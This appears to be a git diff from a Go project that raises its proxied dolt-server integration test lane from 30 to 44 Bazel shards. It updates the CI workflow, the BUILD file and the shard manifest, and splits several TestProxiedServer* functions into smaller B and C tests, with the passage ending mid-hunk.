2 TestProxiedServerIfRevisionGuardAssign -30 2 TestProxiedServerListComments -30 2 TestProxiedServerPromote -30 2 TestProxiedServerTypesAgreeWithCreate +44 2 TestProxiedServerClose2 +44 2 TestProxiedServerCount +44 2 TestProxiedServerEventsJournalOffByDefault +44 2 TestProxiedServerServeRefusesAStreamOnADisabledJournal -30 3 TestProxiedServerDuplicates -30 3 TestProxiedServerReadyWisp -30 3 TestProxiedServerServeDelete -30 3 TestProxiedServerServeModeGate -30 3 TestProxiedServerServeReadRevision +44 3 TestProxiedServerEventsJournal +44 3 TestProxiedServerServeReadsTheJournalItJustWrote +44 3 TestProxiedServerUpdate3 +44 3 TestServerModeSharedServeGlobalReportsTheServedDatabase -30 4 TestProxiedServerGateCreateInheritsRepoMetadata -30 4 TestProxiedServerMolBurn -30 4 TestProxiedServerReadyConcurrent -30 4 TestProxiedServerServeAddDependencies -30 4 TestProxiedServerServeRelatedIssues +44 4 TestProxiedServerClose2B +44 4 TestProxiedServerOutageReconnectAcceptanceMatrix +44 4 TestProxiedServerServeDelete +44 4 TestProxiedServerSetState -30 5 TestProxiedServerCleanDatabases -30 5 TestProxiedServerCreate -30 5 TestProxiedServerEventsJournal -30 5 TestProxiedServerPour -30 5 TestProxiedServerServeUpdateClaim -30 5 TestServerModeDeferAutoWake +44 5 TestProxiedServerCreateInfraTypeRoutesToWisps +44 5 TestProxiedServerHuman +44 5 TestProxiedServerListComments +44 5 TestProxiedServerServeClaimNext -30 6 TestProxiedServerBatchParity -30 6 TestProxiedServerHistoryRemoteSupportedFrontDoorParity -30 6 TestProxiedServerMolShow -30 6 TestProxiedServerMultiStatementSQL -30 6 TestProxiedServerReady -30 6 TestProxiedServerServeRemoveDependency +44 6 TestProxiedServerAssign +44 6 TestProxiedServerCompactDolt +44 6 TestProxiedServerHistory +44 6 TestProxiedServerIfRevisionGuardDelete +44 6 TestProxiedServerKV +44 6 TestProxiedServerServeStreamsTheJournalItIsWriting -30 7 TestProxiedServerCleanDatabasesPurgeDropped -30 7 TestProxiedServerCount -30 7 TestProxiedServerCountIncludeInfra -30 7 TestProxiedServerDoltLifecycle -30 7 TestProxiedServerGC -30 7 TestProxiedServerUpdate +44 7 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce +44 7 TestProxiedServerDoltLifecycle +44 7 TestProxiedServerGateFrontDoorDirectServerProxyParity +44 7 TestProxiedServerIfRevisionGuardClose +44 7 TestProxiedServerMolDistill +44 7 TestProxiedServerPathHelpers +44 7 TestProxiedServerStorageClass +44 7 TestServerModeServe -30 8 TestProxiedServerInitIfMissing -30 8 TestProxiedServerPathHelpers -30 8 TestProxiedServerReopenConcurrent -30 8 TestProxiedServerShow2 -30 8 TestProxiedServerTypes -30 8 TestProxiedServerUpdateClosePolicy -30 8 TestServerModeSharedServeGlobalReportsTheServedDatabase +44 8 TestProxiedServerDelete +44 8 TestProxiedServerPourRejectsEnumViolatingVar +44 8 TestProxiedServerSQL +44 8 TestProxiedServerTag +44 8 TestProxiedServerUpdate2B -30 9 TestProxiedServerCloseConcurrent -30 9 TestProxiedServerDep2 -30 9 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows -30 9 TestProxiedServerMolReadyGated -30 9 TestProxiedServerSQL +44 9 TestProxiedServerConfigSetMany +44 9 TestProxiedServerReopen +44 9 TestProxiedServerServeClaim +44 9 TestProxiedServerUnclaimIfAssigneeParity +44 9 TestProxiedServerUpdateConcurrentAppendNotes -30 10 TestProxiedServerAutoPrune -30 10 TestProxiedServerClose2 -30 10 TestProxiedServerPing -30 10 TestProxiedServerServeClose -30 10 TestProxiedServerServeEdgeCounts +44 10 TestProxiedServerDeleteBlockedJSONSingleDoc +44 10 TestProxiedServerLink +44 10 TestProxiedServerPriority +44 10 TestProxiedServerReadyWisp +44 10 TestProxiedServerServeAddComment -30 11 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce -30 11 TestProxiedServerOutageReconnectAcceptanceMatrix -30 11 TestProxiedServerReady2 -30 11 TestProxiedServerServeReadsTheJournalItJustWrote -30 11 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled -30 11 TestProxiedServerShow +44 11 TestProxiedServerAutoPrune +44 11 TestProxiedServerBatchParity +44 11 TestProxiedServerContext +44 11 TestProxiedServerCreate2 +44 11 TestProxiedServerExternalMutationPolicy -30 12 TestProxiedServerAssign -30 12 TestProxiedServerConfigSetMany -30 12 TestProxiedServerContext -30 12 TestProxiedServerInitExplicitBeadsDirIsAuthoritative -30 12 TestProxiedServerReadyClaimConcurrent -30 12 TestProxiedServerServeBatchClose +44 12 TestProxiedServerExternalCreate +44 12 TestProxiedServerServeRelatedIssues +44 12 TestProxiedServerUpdate +44 12 TestProxiedServerWispList +44 12 TestServerModeTypesAgreeWithCreate -30 13 TestProxiedServerChildren -30 13 TestProxiedServerConfig -30 13 TestProxiedServerDoltRemoteRemove -30 13 TestProxiedServerExternalMutationPolicy -30 13 TestProxiedServerPriority -30 13 TestProxiedServerServeUpdate +44 13 TestProxiedServerCreate +44 13 TestProxiedServerRecomputeBlocked +44 13 TestProxiedServerServeUpdate +44 13 TestProxiedServerShow2 +44 13 TestProxiedServerStale -30 14 TestProxiedServerInfo -30 14 TestProxiedServerLint -30 14 TestProxiedServerNote -30 14 TestProxiedServerQuery -30 14 TestProxiedServerUpdate3 -30 14 TestProxiedServerWispCreate +44 14 TestProxiedServerMolSquash +44 14 TestProxiedServerQuick +44 14 TestProxiedServerServeReadParity +44 14 TestProxiedServerServeRefusesAStaleCheckpointWithGone +44 14 TestProxiedServerShow2B -30 15 TestProxiedServerCompactDolt -30 15 TestProxiedServerMolDistill -30 15 TestProxiedServerMolProgress -30 15 TestProxiedServerServeClaimNext -30 15 TestProxiedServerServeRefusesAStreamOnADisabledJournal -30 15 TestProxiedServerUnclaimIfAssigneeParity +44 15 TestProxiedServerCountIncludeInfra +44 15 TestProxiedServerDeleteForceOrphans +44 15 TestProxiedServerDuplicates +44 15 TestProxiedServerLabel +44 15 TestProxiedServerServeBatchClose -30 16 TestProxiedServerCascadeParity -30 16 TestProxiedServerExternalCreate -30 16 TestProxiedServerGraph -30 16 TestProxiedServerLabel -30 16 TestProxiedServerSwarm -30 16 TestProxiedServerTodo -30 16 TestProxiedServerUpdateConcurrentMetadata +44 16 TestProxiedServerHistoryRemoteSupportedFrontDoorParity +44 16 TestProxiedServerQuery +44 16 TestProxiedServerSQLDatabaseFlag +44 16 TestProxiedServerShowB +44 16 TestProxiedServerWispCreate -30 17 TestProxiedServerClose -30 17 TestProxiedServerClose3 -30 17 TestProxiedServerClose4 -30 17 TestProxiedServerConfigConcurrent -30 17 TestProxiedServerDeleteConcurrent -30 17 TestProxiedServerIfRevisionGuardUpdate -30 17 TestProxiedServerSearch -30 17 TestProxiedServerServeReadParity -30 17 TestProxiedServerStatus +44 17 TestProxiedServerDoltRemoteRemove +44 17 TestProxiedServerImport +44 17 TestProxiedServerLint +44 17 TestProxiedServerServeEdgeCounts +44 17 TestProxiedServerStatus -30 18 TestProxiedServerHeartbeat -30 18 TestProxiedServerMolBond -30 18 TestProxiedServerSQLDatabaseFlag -30 18 TestProxiedServerServeCount -30 18 TestProxiedServerUpdate2 -30 18 TestServerModeTypesAgreeWithCreate +44 18 TestProxiedServerCloseConcurrent +44 18 TestProxiedServerDep2C +44 18 TestProxiedServerEdit +44 18 TestProxiedServerIfRevisionGuardUpdate +44 18 TestProxiedServerSearch -30 19 TestProxiedServerCreate2 -30 19 TestProxiedServerEdit -30 19 TestProxiedServerIfRevisionGuardReopen -30 19 TestProxiedServerPourRejectsEnumViolatingVar -30 19 TestProxiedServerReassignFence -30 19 TestProxiedServerUpdateWisp -30 19 TestServerModeServe +44 19 TestProxiedServerServeClose +44 19 TestProxiedServerTypesAgreeWithCreate +44 19 TestProxiedServerUpdate2 +44 19 TestProxiedServerUpdateClosePolicy -30 20 TestProxiedServerExternalPolicyDirectParity -30 20 TestProxiedServerHistory -30 20 TestProxiedServerImport -30 20 TestProxiedServerMemory -30 20 TestProxiedServerMolCurrent -30 20 TestProxiedServerServeStreamsTheJournalItIsWriting +44 20 TestProxiedServerDeferAutoWake +44 20 TestProxiedServerEpic +44 20 TestProxiedServerIfRevisionGuardReopen +44 20 TestProxiedServerInitIfMissing +44 20 TestProxiedServerReopenB +44 20 TestProxiedServerUpdateIfGuards -30 21 TestProxiedServerDeleteWisp -30 21 TestProxiedServerDepConcurrent -30 21 TestProxiedServerListSortRetiresTheWalk -30 21 TestProxiedServerPrime -30 21 TestProxiedServerRelate -30 21 TestProxiedServerSetState -30 21 TestProxiedServerUpdateConcurrentAppendNotes +44 21 TestProxiedServerBlocked +44 21 TestProxiedServerCleanDatabases +44 21 TestProxiedServerConfig +44 21 TestProxiedServerMolShow +44 21 TestProxiedServerPing +44 21 TestProxiedServerServeActivatesTheEventsJournal -30 22 TestProxiedServerCompactHistory -30 22 TestProxiedServerGateLifecycle -30 22 TestProxiedServerKV -30 22 TestProxiedServerShow3 -30 22 TestProxiedServerStale -30 22 TestProxiedServerStatuses +44 22 TestProxiedServerCloseBeadGate +44 22 TestProxiedServerExternalPolicyDirectParity +44 22 TestProxiedServerFindDuplicates +44 22 TestProxiedServerReadyB +44 22 TestProxiedServerServeCreate -30 23 TestProxiedServerBackupRefusedOnExternalTopology -30 23 TestProxiedServerCloseSiblingBlockersFanIn -30 23 TestProxiedServerDeleteBlockedJSONSingleDoc -30 23 TestProxiedServerQuick -30 23 TestProxiedServerStorageClass -30 23 TestProxiedServerUpdateHooks -30 23 TestProxiedServerWispGC +44 23 TestProxiedServerCloseSiblingBlockersFanIn +44 23 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity +44 23 TestProxiedServerPour +44 23 TestProxiedServerShow3 +44 23 TestProxiedServerUpdateConcurrentClaim -30 24 TestProxiedServerCreateInfraTypeRoutesToWisps -30 24 TestProxiedServerEpic -30 24 TestProxiedServerLink -30 24 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity -30 24 TestProxiedServerRecomputeBlocked -30 24 TestServerModeServeSkipsPostRunMaintenance +44 24 TestProxiedServerLabelC +44 24 TestProxiedServerMemory +44 24 TestProxiedServerMolStale +44 24 TestProxiedServerServeUpdateClaim +44 24 TestProxiedServerSwarm -30 25 TestProxiedServerDeferUndefer -30 25 TestProxiedServerOrphans -30 25 TestProxiedServerServeClaim -30 25 TestProxiedServerShowWatch -30 25 TestProxiedServerUpdateIfGuards -30 25 TestProxiedServerWispCreateRejectsEnumViolatingVar +44 25 TestProxiedServerHeartbeat +44 25 TestProxiedServerMolLastActivity +44 25 TestProxiedServerReassignFence +44 25 TestProxiedServerStatuses +44 25 TestProxiedServerUpdateWisp -30 26 TestProxiedServerFindDuplicates -30 26 TestProxiedServerGateCheck -30 26 TestProxiedServerGateFrontDoorDirectServerProxyParity -30 26 TestProxiedServerGatedRendering -30 26 TestProxiedServerServeAddComment -30 26 TestProxiedServerServeSettingsWrites -30 26 TestProxiedServerState +44 26 TestProxiedServerGraph +44 26 TestProxiedServerMolBond +44 26 TestProxiedServerServeReadRevision +44 26 TestProxiedServerTodo +44 26 TestProxiedServerUpdateHooks -30 27 TestProxiedServerBlocked -30 27 TestProxiedServerIfRevisionGuardClose -30 27 TestProxiedServerMolLastActivity -30 27 TestProxiedServerMolStale -30 27 TestProxiedServerMoleculeFrontDoorWriteParity -30 27 TestProxiedServerServeActivatesTheEventsJournal -30 27 TestProxiedServerServeRefusesAStaleCheckpointWithGone +44 27 TestProxiedServerCreate2B +44 27 TestProxiedServerGateList +44 27 TestProxiedServerGatedRendering +44 27 TestProxiedServerReopenConcurrent +44 27 TestProxiedServerSQLStatementRouting -30 28 TestProxiedServerComment -30 28 TestProxiedServerExport -30 28 TestProxiedServerList -30 28 TestProxiedServerReopen -30 28 TestProxiedServerServeCreate -30 28 TestProxiedServerUnclaim +44 28 TestProxiedServerComment +44 28 TestProxiedServerMolProgress +44 28 TestProxiedServerServeCount +44 28 TestProxiedServerServeRemoveDependency +44 28 TestProxiedServerUpdateB -30 29 TestProxiedServerDeferAutoWake -30 29 TestProxiedServerDep -30 29 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge -30 29 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix -30 29 TestProxiedServerIfRevisionGuardDelete -30 29 TestProxiedServerTag -30 29 TestProxiedServerWispList +44 29 TestProxiedServerCreate2C +44 29 TestProxiedServerDep +44 29 TestProxiedServerDepConcurrent +44 29 TestProxiedServerServeSettingsWrites +44 29 TestProxiedServerWispCreateRejectsEnumViolatingVar -30 30 TestProxiedServerEventsJournalOffByDefault -30 30 TestProxiedServerMolSquash -30 30 TestProxiedServerPrune -30 30 TestProxiedServerPurgeWispsPlaneRetention -30 30 TestProxiedServerServeRelease -30 30 TestProxiedServerUpdateConcurrentClaim +44 30 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge +44 30 TestProxiedServerInfo +44 30 TestProxiedServerPrime +44 30 TestProxiedServerUpdateC +44 30 TestServerModeServeSkipsPostRunMaintenance + +44 31 TestProxiedServerCleanDatabasesPurgeDropped +44 31 TestProxiedServerGateLifecycle +44 31 TestProxiedServerPurgeWispsPlaneRetention +44 31 TestProxiedServerShow3B +44 31 TestServerModeDeferAutoWake + +44 32 TestProxiedServerClose3 +44 32 TestProxiedServerGC +44 32 TestProxiedServerList +44 32 TestProxiedServerReadyConcurrent +44 32 TestProxiedServerServeModeGate + +44 33 TestProxiedServerDeferUndefer +44 33 TestProxiedServerDepB +44 33 TestProxiedServerInitExplicitBeadsDirIsAuthoritative +44 33 TestProxiedServerMolBurn +44 33 TestProxiedServerOrphans + +44 34 TestProxiedServerChildren +44 34 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix +44 34 TestProxiedServerPromote +44 34 TestProxiedServerServeRelease +44 34 TestProxiedServerUpdate2C + +44 35 TestProxiedServerConfigConcurrent +44 35 TestProxiedServerReady2 +44 35 TestProxiedServerShow + +44 36 TestProxiedServerDep2B +44 36 TestProxiedServerGateCreateInheritsRepoMetadata +44 36 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled +44 36 TestProxiedServerWispGC + +44 37 TestProxiedServerDeleteWisp +44 37 TestProxiedServerNote +44 37 TestProxiedServerReady +44 37 TestProxiedServerShowWatch + +44 38 TestProxiedServerBackupRefusedOnExternalTopology +44 38 TestProxiedServerCascadeParity +44 38 TestProxiedServerClose4 +44 38 TestProxiedServerReadyClaimConcurrent +44 38 TestProxiedServerReclaim + +44 39 TestProxiedServerGateCheck +44 39 TestProxiedServerLabelB +44 39 TestProxiedServerMoleculeFrontDoorWriteParity + +44 40 TestProxiedServerDeleteConcurrent +44 40 TestProxiedServerIfRevisionGuardAssign +44 40 TestProxiedServerReadyC +44 40 TestProxiedServerRelate + +44 41 TestProxiedServerMolCurrent +44 41 TestProxiedServerPrune +44 41 TestProxiedServerTypes +44 41 TestProxiedServerUnclaim + +44 42 TestProxiedServerClose +44 42 TestProxiedServerCompactHistory +44 42 TestProxiedServerState +44 42 TestProxiedServerUpdateConcurrentMetadata + +44 43 TestProxiedServerCloseB +44 43 TestProxiedServerConfigB +44 43 TestProxiedServerMultiStatementSQL + +44 44 TestProxiedServerExport +44 44 TestProxiedServerGateCheckB +44 44 TestProxiedServerListSortRetiresTheWalk +44 44 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows +44 44 TestProxiedServerMolReadyGated +44 44 TestProxiedServerServeLifecycle diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index b3d13b0f6..5922cf041 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1732,8 +1732,8 @@ jobs: # Like pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", # as --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the shard # script, so shard k runs exactly that manifest entry's tests. This lane - # runs 30 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's - # duration-balanced 30-block; see scripts/ci/proxied_test_durations.json), + # runs 44 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's + # duration-balanced 44-block; see scripts/ci/proxied_test_durations.json), # not the legacy jobs' 15 — shard k here is not the same split as their # shard k. Same build as --config=doltserver (race bd_test, non-race # bd_for_tests), shared with bazel-doltserver through the remote cache. @@ -1793,35 +1793,15 @@ jobs: fi # Remote: each shard's Go timeout is its job's 15m, 1200s Bazel cap, - # plus a compile. scripts/ci/proxied_test_durations.json's 176 entries - # are each a clean, single-job (no concurrent heavy bazel/dolt job - # intentionally started on the box; see that file's header for its - # ambient-contention caveat), -test.parallel=4 top-level-test - # duration — the exact config this job uses — from a single fresh, - # manifest-aligned 30-shard sweep's own (errors="0", - # so a failing-but-complete suite's time is still trustworthy); every - # one of the 176 discovered tests completed inside its shard run, so - # no `bazel run` leaf-summation workaround was needed this time. See - # that file's header for the full methodology, including why an - # earlier -test.parallel=1 (serial) capture was replaced: serial - # timings don't model this lane (which always runs parallel=4), and - # an independent re-review measured near-zero correlation (r=0.08) - # between the serial-derived predicted shard load and actual - # parallel=4 wall time. - # - # Measured per-shard wall time for the full 30-shard local sweep that - # produced this data: shards ranged from roughly 32s to 341s, with - # most clustering well under this job's 25m step timeout / 30m job - # timeout. After repacking with these corrected weights, the LPT - # estimate clusters every shard within a few seconds of ~355-360s - # (sum of all 176 measured durations / 30 shards) — no single test or - # small group of tests dominates a shard the way the discarded serial - # data wrongly implied. This is a local, single-job measurement, not - # a verified RBE forecast (this job has only ever run remote); if a - # shard's RBE wall time diverges sharply from this local estimate, - # that is RBE throughput differing from local execution, not - # necessarily a regression — compare against this job's own recent - # run history before assuming a hang. + # plus a compile. The 44-shard block is LPT-packed by + # scripts/ci/proxied_test_durations.json, a rbe-west capture of each + # top-level test's summed leaf-test time (see its header). Packed to + # <=430 cost-seconds per shard, and a shard's wall time ran ~0.3x its + # packed cost on the lane's executors (-test.parallel=4), so shards + # are expected around 100-150s. Nearly all of that is `bd init + # --proxied-server` against the shard's dolt sql-server, ~one per + # subtest; a shard running far longer than its packed cost is worth + # comparing against this job's recent history before assuming a hang. - name: bazel test //... --config=doltserver-proxied id: test timeout-minutes: 25 @@ -1850,7 +1830,7 @@ jobs: run: >- python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" - --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 30 + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 44 - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a38bc8bd7..b5e03704f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1441,8 +1441,8 @@ sh_test( tags = ["embedded"], ) -# Runs 30 Bazel shards against the TestProxiedServer*/TestServerMode* -# functions, assigned by the manifest's 30-shard block (duration-balanced; +# Runs 44 Bazel shards against the TestProxiedServer*/TestServerMode* +# functions, assigned by the manifest's 44-shard block (duration-balanced; # see scripts/ci/proxied_test_durations.json), against this configuration's # (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race # bd_for_tests as the subprocess binary. This is a *different* shard count @@ -1499,7 +1499,7 @@ sh_test( # 192-core worker). "GOMAXPROCS": "4", }, - shard_count = 30, + shard_count = 44, tags = ["dolt-server-proxied"], ) diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index bbbcfba79..0e349f740 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -283,6 +283,14 @@ func TestProxiedServerClose(t *testing.T) { t.Errorf("close_reason: got %q, want %q", got, "wontfix") } }) +} + +// TestProxiedServerCloseB holds more of TestProxiedServerClose's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerCloseB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("close_with_comment_alias", func(t *testing.T) { t.Parallel() @@ -348,7 +356,6 @@ func TestProxiedServerClose(t *testing.T) { t.Errorf("expected 'not found' error, got: %s", out) } }) - } // TestProxiedServerClose3 is the second half of TestProxiedServerClose, @@ -754,6 +761,14 @@ func TestProxiedServerClose2(t *testing.T) { t.Errorf("expected single-issue error, got: %s", out) } }) +} + +// TestProxiedServerClose2B holds more of TestProxiedServerClose2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerClose2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("close_suggest_next_multiple_ids_fails", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/config_proxied_integration_test.go b/cmd/bd/config_proxied_integration_test.go index 745142fc0..8cd1092f7 100644 --- a/cmd/bd/config_proxied_integration_test.go +++ b/cmd/bd/config_proxied_integration_test.go @@ -165,6 +165,14 @@ func TestProxiedServerConfig(t *testing.T) { t.Error("expected test.removeme to be absent from config list after unset") } }) +} + +// TestProxiedServerConfigB holds more of TestProxiedServerConfig's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerConfigB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("config_get_missing_key", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/create_proxied_integration_test.go b/cmd/bd/create_proxied_integration_test.go index 743c51e92..3ce839369 100644 --- a/cmd/bd/create_proxied_integration_test.go +++ b/cmd/bd/create_proxied_integration_test.go @@ -183,6 +183,14 @@ func TestProxiedServerCreate2(t *testing.T) { t.Errorf("metadata: got %v, want key=value", m) } }) +} + +// TestProxiedServerCreate2B holds more of TestProxiedServerCreate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerCreate2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("dry_run", func(t *testing.T) { t.Parallel() @@ -349,6 +357,14 @@ A new feature t.Errorf("source_repo: got %q, want %q", sourceRepo, "/path/to/repo") } }) +} + +// TestProxiedServerCreate2C holds more of TestProxiedServerCreate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerCreate2C(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // RULING R1 (TestParityCreateOnOccupiedIDRefuses): `bd create --id` on an // occupied ID refuses with exit 1 and a fixed message, leaving the diff --git a/cmd/bd/dep_proxied_integration_test.go b/cmd/bd/dep_proxied_integration_test.go index df0a41546..b8b9a315d 100644 --- a/cmd/bd/dep_proxied_integration_test.go +++ b/cmd/bd/dep_proxied_integration_test.go @@ -224,7 +224,18 @@ func TestProxiedServerDep(t *testing.T) { t.Errorf("expected 'cycle' error: %s", out) } }) + }) +} +// TestProxiedServerDepB holds more of TestProxiedServerDep's Add cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerDepB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("Add", func(t *testing.T) { + t.Parallel() t.Run("child_parent_antipattern", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "dpa8") @@ -379,7 +390,6 @@ func TestProxiedServerDep(t *testing.T) { } }) }) - } func TestProxiedServerDep2(t *testing.T) { @@ -550,6 +560,15 @@ func TestProxiedServerDep2(t *testing.T) { } }) }) +} + +// TestProxiedServerDep2B is the next slice of TestProxiedServerDep2's cases, a +// separate top-level test so the bd_proxied_test shard manifest can place it +// on its own shard. +func TestProxiedServerDep2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("Tree", func(t *testing.T) { t.Parallel() @@ -635,7 +654,18 @@ func TestProxiedServerDep2(t *testing.T) { bdProxiedDep(t, bd, p.dir, "add", root.ID, dep.ID) _ = bdProxiedDep(t, bd, p.dir, "tree", root.ID, "--status", "open") }) + }) +} +// TestProxiedServerDep2C holds more of TestProxiedServerDep2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerDep2C(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("Tree", func(t *testing.T) { + t.Parallel() t.Run("format_mermaid", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "dpt7") diff --git a/cmd/bd/gate_check_proxied_integration_test.go b/cmd/bd/gate_check_proxied_integration_test.go index 633b854d5..bdc1051b1 100644 --- a/cmd/bd/gate_check_proxied_integration_test.go +++ b/cmd/bd/gate_check_proxied_integration_test.go @@ -126,6 +126,17 @@ func TestProxiedServerGateCheck(t *testing.T) { t.Errorf("expected 1 resolved after target close, got:\n%s", out) } }) +} + +// TestProxiedServerGateCheckB holds more of TestProxiedServerGateCheck's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerGateCheckB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + const expiredTimeout = time.Hour + longAgo := func() time.Time { return time.Now().UTC().Add(-48 * time.Hour) } t.Run("bead_gate_resolves_when_seen_target_is_deleted", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index be84341cc..7cfd1d94d 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -230,6 +230,15 @@ func TestProxiedServerLabel(t *testing.T) { } } }) +} + +// TestProxiedServerLabelB holds more of TestProxiedServerLabel's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerLabelB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("propagate_no_children", func(t *testing.T) { t.Parallel() @@ -382,6 +391,15 @@ func TestProxiedServerLabel(t *testing.T) { t.Errorf("expected both labels in text list, got:\n%s", out) } }) +} + +// TestProxiedServerLabelC holds more of TestProxiedServerLabel's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerLabelC(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("propagate_json", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/ready_proxied_integration_test.go b/cmd/bd/ready_proxied_integration_test.go index 758a62a64..69d83fcb7 100644 --- a/cmd/bd/ready_proxied_integration_test.go +++ b/cmd/bd/ready_proxied_integration_test.go @@ -238,6 +238,14 @@ func TestProxiedServerReady(t *testing.T) { envelope.Pagination.Total, s[start:]) } }) +} + +// TestProxiedServerReadyB holds more of TestProxiedServerReady's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerReadyB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("pagination_envelope_not_truncated", func(t *testing.T) { t.Parallel() @@ -409,6 +417,14 @@ func TestProxiedServerReady(t *testing.T) { t.Error("after re-fetch: Assignee empty (commit may not have persisted)") } }) +} + +// TestProxiedServerReadyC holds more of TestProxiedServerReady's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerReadyC(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("blocked_issues_excluded_from_default_output", func(t *testing.T) { t.Parallel() @@ -536,7 +552,6 @@ func TestProxiedServerReady(t *testing.T) { t.Errorf("expected 'No molecules ready for gate-resume dispatch' text, got: %s", text) } }) - } func TestProxiedServerReady2(t *testing.T) { diff --git a/cmd/bd/reopen_proxied_integration_test.go b/cmd/bd/reopen_proxied_integration_test.go index 3d5884f11..68e667e73 100644 --- a/cmd/bd/reopen_proxied_integration_test.go +++ b/cmd/bd/reopen_proxied_integration_test.go @@ -291,6 +291,14 @@ func TestProxiedServerReopen(t *testing.T) { t.Errorf("status: got %q, want open", got) } }) +} + +// TestProxiedServerReopenB holds more of TestProxiedServerReopen's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerReopenB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // The other side of the category rule, and the same line the direct route // prints: a status that is neither done nor open is left alone and said so. diff --git a/cmd/bd/show_proxied_integration_test.go b/cmd/bd/show_proxied_integration_test.go index 32a914ce8..b518aac7d 100644 --- a/cmd/bd/show_proxied_integration_test.go +++ b/cmd/bd/show_proxied_integration_test.go @@ -218,6 +218,14 @@ func TestProxiedServerShow(t *testing.T) { t.Errorf("expected comments with --include-comments: %v", m) } }) +} + +// TestProxiedServerShowB holds more of TestProxiedServerShow's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerShowB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // ga-clgh: proxied path mirror of the direct-path fix (a2a69f5e9). The // proxied handler used to leave comments_omitted unset entirely, so a @@ -398,7 +406,6 @@ func TestProxiedServerShow(t *testing.T) { t.Errorf("expected title in output: %s", out) } }) - } func TestProxiedServerShow2(t *testing.T) { @@ -591,6 +598,14 @@ func TestProxiedServerShow2(t *testing.T) { t.Errorf("expected --refs output to contain referrer %s: %s", child.ID, out) } }) +} + +// TestProxiedServerShow2B holds more of TestProxiedServerShow2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerShow2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("show_refs_groups_by_type", func(t *testing.T) { t.Parallel() @@ -754,7 +769,6 